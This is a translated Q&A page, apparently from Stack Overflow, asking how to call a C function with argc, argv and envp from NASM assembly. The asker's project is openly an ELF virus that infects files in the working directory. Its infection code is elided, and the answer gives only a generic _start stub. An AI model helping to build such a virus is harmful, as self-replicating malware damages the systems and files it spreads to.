首页 > 解决方案 > 如何使用正确提供的 argc、argv、envp 从 NASM 调用用 C 编写的链接可执行文件中的主函数

问题描述

我将 C 程序链接到 NASM 可执行文件。汇编文件调用链接的 C 程序中的 main 函数

virus:  infect.c virus.o
    $(CC) $(LFLAGS) $^ -o $@

virus.o: virus.asm template.asm.inc
    $(ASM) $(AFLAGS) $< -o $@

我尝试了什么:

以这种infect.c方式包含主要功能:

int main(int argc, char *const argv[], char *const envp[]) {
    DIR *dir;
    struct dirent *ent;
    struct stat st;
    int vfd, xfd, magic;
    pid_t pid;
    off_t offset;
    ino_t inode;

    vfd = open(argv[0], O_RDONLY);
    ...

因为我想在from中调用main函数。主要功能实际上应该,并且由于可执行文件中不能有两个主要功能,因此我将功能更改为infect.cvirus.asmvirus.asmmaininfect.c

int infect(int argc, char *const argv[], char *const envp[]) {
    DIR *dir;
    struct dirent *ent;
    struct stat st;
    int vfd, xfd, magic;
    pid_t pid;
    off_t offset;
    ino_t inode;

    vfd = open(argv[0], O_RDONLY);
    ...

1)我不知道如何从 NASM 程序集中调用这个 infact 函数,这是我在virus.asm文件中尝试的

extern infect
main:
    call infect

该程序运行,但它不会产生预期的效果。这infect.c是一种 ELF 病毒,它应该在 CWD 中查找文件并感染它们。

2)问题似乎是int argc, char *const argv[], char *const envp[]我在打电话时没有正确处理

我如何正确地infect.cvirus.asm,argc中调用函数argvenvp提供以使程序正常工作?

标签: cassemblylinkernasm

解决方案


您可以在 asm 文件中提供 _start 入口点。下面是为 AMD64 和 linux 内核上的 elf abi 设置 argc、argv 和 envp 的示例代码。它不适用于实际代码,因为它不执行通常的初始化过程,例如为 tls 设置 fs 段、初始化静态变量等……但它让您初步了解需要做什么!

备忘录 [argc -> %rdi ; argv -> %rsi ; envp -> %rdx]

.global _start
.type _start,@function
.align 16
_start:
    .cfi_startproc
    .cfi_undefined rip
/*nullify rbp as required by doc*/
    xor %rbp, %rbp
/*move argc to rdi and advance rsp*/
    popq %rdi
/*set argv*/
    movq %rsp, %rsi
/*now envp is at rsp+8*argc+8*/
    lea 8(%rsp, %rdi, 8), %rdx
/*realign stack*/
  push %rdi
/*push rsp to the stack*/
  callq main
/*call _exit at return*/
  movq %rax,%rdi
  mov $231, %rax
  syscall
  .cfi_endproc

推荐阅读